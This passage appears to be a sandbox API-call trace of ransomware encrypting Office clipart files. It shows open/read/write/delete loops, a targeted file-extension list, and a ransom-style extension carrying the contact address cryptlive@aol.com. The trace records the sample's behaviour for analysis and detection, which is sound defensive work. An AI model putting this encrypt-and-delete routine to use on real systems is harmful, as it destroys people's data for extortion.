0x38c [0161.529] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.529] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0161.530] GetLastError () returned 0x0 [0161.530] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xb66e, lpOverlapped=0x0) returned 1 [0161.586] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xb670, lpOverlapped=0x0) returned 1 [0161.588] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0161.588] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.588] SetEndOfFile (hFile=0x3d0) returned 1 [0161.588] CloseHandle (hObject=0x3d0) returned 1 [0161.588] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.589] SetEndOfFile (hFile=0x38c) returned 1 [0161.591] CloseHandle (hObject=0x38c) returned 1 [0161.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf")) returned 1 [0161.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.593] lstrlenW (lpString=".doc") returned 4 [0161.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.593] lstrlenW (lpString=".docx") returned 5 [0161.593] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.593] lstrlenW (lpString=".pdf") returned 4 [0161.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.593] lstrlenW (lpString=".xls") returned 4 [0161.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.593] lstrlenW (lpString=".xlsx") returned 5 [0161.593] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.593] lstrlenW (lpString=".ppt") returned 4 [0161.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.593] lstrlenW (lpString=".zip") returned 4 [0161.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.593] lstrlenW (lpString=".rar") returned 4 [0161.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.593] lstrlenW (lpString=".bz2") returned 4 [0161.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.593] lstrlenW (lpString=".7z") returned 3 [0161.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.593] lstrlenW (lpString=".dbf") returned 4 [0161.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.594] lstrlenW (lpString=".1cd") returned 4 [0161.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.594] lstrlenW (lpString=".jpg") returned 4 [0161.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.594] lstrlenW (lpString=".doc") returned 4 [0161.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.594] lstrlenW (lpString=".docx") returned 5 [0161.594] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.594] lstrlenW (lpString=".pdf") returned 4 [0161.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.594] lstrlenW (lpString=".xls") returned 4 [0161.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.594] lstrlenW (lpString=".xlsx") returned 5 [0161.594] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.594] lstrlenW (lpString=".ppt") returned 4 [0161.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.594] lstrlenW (lpString=".zip") returned 4 [0161.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.594] lstrlenW (lpString=".rar") returned 4 [0161.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.594] lstrlenW (lpString=".bz2") returned 4 [0161.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.594] lstrlenW (lpString=".7z") returned 3 [0161.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.594] lstrlenW (lpString=".dbf") returned 4 [0161.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.595] lstrlenW (lpString=".1cd") returned 4 [0161.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0161.595] lstrlenW (lpString=".jpg") returned 4 [0161.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.595] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.595] lstrlenW (lpString="J0158071.WMF") returned 12 [0161.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.596] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=18652) returned 1 [0161.596] CloseHandle (hObject=0x38c) returned 1 [0161.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf")) returned 0x20 [0161.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.596] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.597] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0161.597] GetLastError () returned 0x0 [0161.597] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x48dc, lpOverlapped=0x0) returned 1 [0161.612] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x48e0, lpOverlapped=0x0) returned 1 [0161.614] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0161.614] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.614] SetEndOfFile (hFile=0x3d0) returned 1 [0161.614] CloseHandle (hObject=0x3d0) returned 1 [0161.614] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.614] SetEndOfFile (hFile=0x38c) returned 1 [0161.617] CloseHandle (hObject=0x38c) returned 1 [0161.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf")) returned 1 [0161.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.619] lstrlenW (lpString=".doc") returned 4 [0161.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.619] lstrlenW (lpString=".docx") returned 5 [0161.619] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0161.619] lstrlenW (lpString=".pdf") returned 4 [0161.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.619] lstrlenW (lpString=".xls") returned 4 [0161.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.619] lstrlenW (lpString=".xlsx") returned 5 [0161.619] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0161.619] lstrlenW (lpString=".ppt") returned 4 [0161.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.619] lstrlenW (lpString=".zip") returned 4 [0161.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.619] lstrlenW (lpString=".rar") returned 4 [0161.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.619] lstrlenW (lpString=".bz2") returned 4 [0161.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.619] lstrlenW (lpString=".7z") returned 3 [0161.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.620] lstrlenW (lpString=".dbf") returned 4 [0161.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.620] lstrlenW (lpString=".1cd") returned 4 [0161.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.620] lstrlenW (lpString=".jpg") returned 4 [0161.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.620] lstrlenW (lpString=".doc") returned 4 [0161.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.620] lstrlenW (lpString=".docx") returned 5 [0161.620] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0161.620] lstrlenW (lpString=".pdf") returned 4 [0161.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.620] lstrlenW (lpString=".xls") returned 4 [0161.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.620] lstrlenW (lpString=".xlsx") returned 5 [0161.620] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0161.620] lstrlenW (lpString=".ppt") returned 4 [0161.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.620] lstrlenW (lpString=".zip") returned 4 [0161.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.620] lstrlenW (lpString=".rar") returned 4 [0161.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.620] lstrlenW (lpString=".bz2") returned 4 [0161.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.620] lstrlenW (lpString=".7z") returned 3 [0161.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.620] lstrlenW (lpString=".dbf") returned 4 [0161.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.621] lstrlenW (lpString=".1cd") returned 4 [0161.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0161.621] lstrlenW (lpString=".jpg") returned 4 [0161.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.621] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.621] lstrlenW (lpString="J0160590.WMF") returned 12 [0161.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.635] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=29406) returned 1 [0161.635] CloseHandle (hObject=0x38c) returned 1 [0161.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf")) returned 0x20 [0161.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.636] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.636] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0161.637] GetLastError () returned 0x0 [0161.637] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x72de, lpOverlapped=0x0) returned 1 [0161.643] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x72e0, lpOverlapped=0x0) returned 1 [0161.646] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0161.647] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.647] SetEndOfFile (hFile=0x3d0) returned 1 [0161.647] CloseHandle (hObject=0x3d0) returned 1 [0161.647] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.647] SetEndOfFile (hFile=0x38c) returned 1 [0161.651] CloseHandle (hObject=0x38c) returned 1 [0161.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf")) returned 1 [0161.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.653] lstrlenW (lpString=".doc") returned 4 [0161.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.653] lstrlenW (lpString=".docx") returned 5 [0161.653] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0161.653] lstrlenW (lpString=".pdf") returned 4 [0161.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.653] lstrlenW (lpString=".xls") returned 4 [0161.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.653] lstrlenW (lpString=".xlsx") returned 5 [0161.653] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0161.653] lstrlenW (lpString=".ppt") returned 4 [0161.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.653] lstrlenW (lpString=".zip") returned 4 [0161.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.653] lstrlenW (lpString=".rar") returned 4 [0161.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.653] lstrlenW (lpString=".bz2") returned 4 [0161.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.654] lstrlenW (lpString=".7z") returned 3 [0161.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.654] lstrlenW (lpString=".dbf") returned 4 [0161.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.654] lstrlenW (lpString=".1cd") returned 4 [0161.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.654] lstrlenW (lpString=".jpg") returned 4 [0161.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.654] lstrlenW (lpString=".doc") returned 4 [0161.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.654] lstrlenW (lpString=".docx") returned 5 [0161.654] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0161.654] lstrlenW (lpString=".pdf") returned 4 [0161.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.654] lstrlenW (lpString=".xls") returned 4 [0161.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.654] lstrlenW (lpString=".xlsx") returned 5 [0161.654] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0161.654] lstrlenW (lpString=".ppt") returned 4 [0161.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.655] lstrlenW (lpString=".zip") returned 4 [0161.655] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.655] lstrlenW (lpString=".rar") returned 4 [0161.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.655] lstrlenW (lpString=".bz2") returned 4 [0161.655] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.655] lstrlenW (lpString=".7z") returned 3 [0161.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.655] lstrlenW (lpString=".dbf") returned 4 [0161.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.655] lstrlenW (lpString=".1cd") returned 4 [0161.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0161.655] lstrlenW (lpString=".jpg") returned 4 [0161.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.655] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0161.655] lstrlenW (lpString="J0164153.JPG") returned 12 [0161.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.657] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=46484) returned 1 [0161.657] CloseHandle (hObject=0x38c) returned 1 [0161.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg")) returned 0x20 [0161.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.658] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.658] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0161.660] GetLastError () returned 0x0 [0161.660] 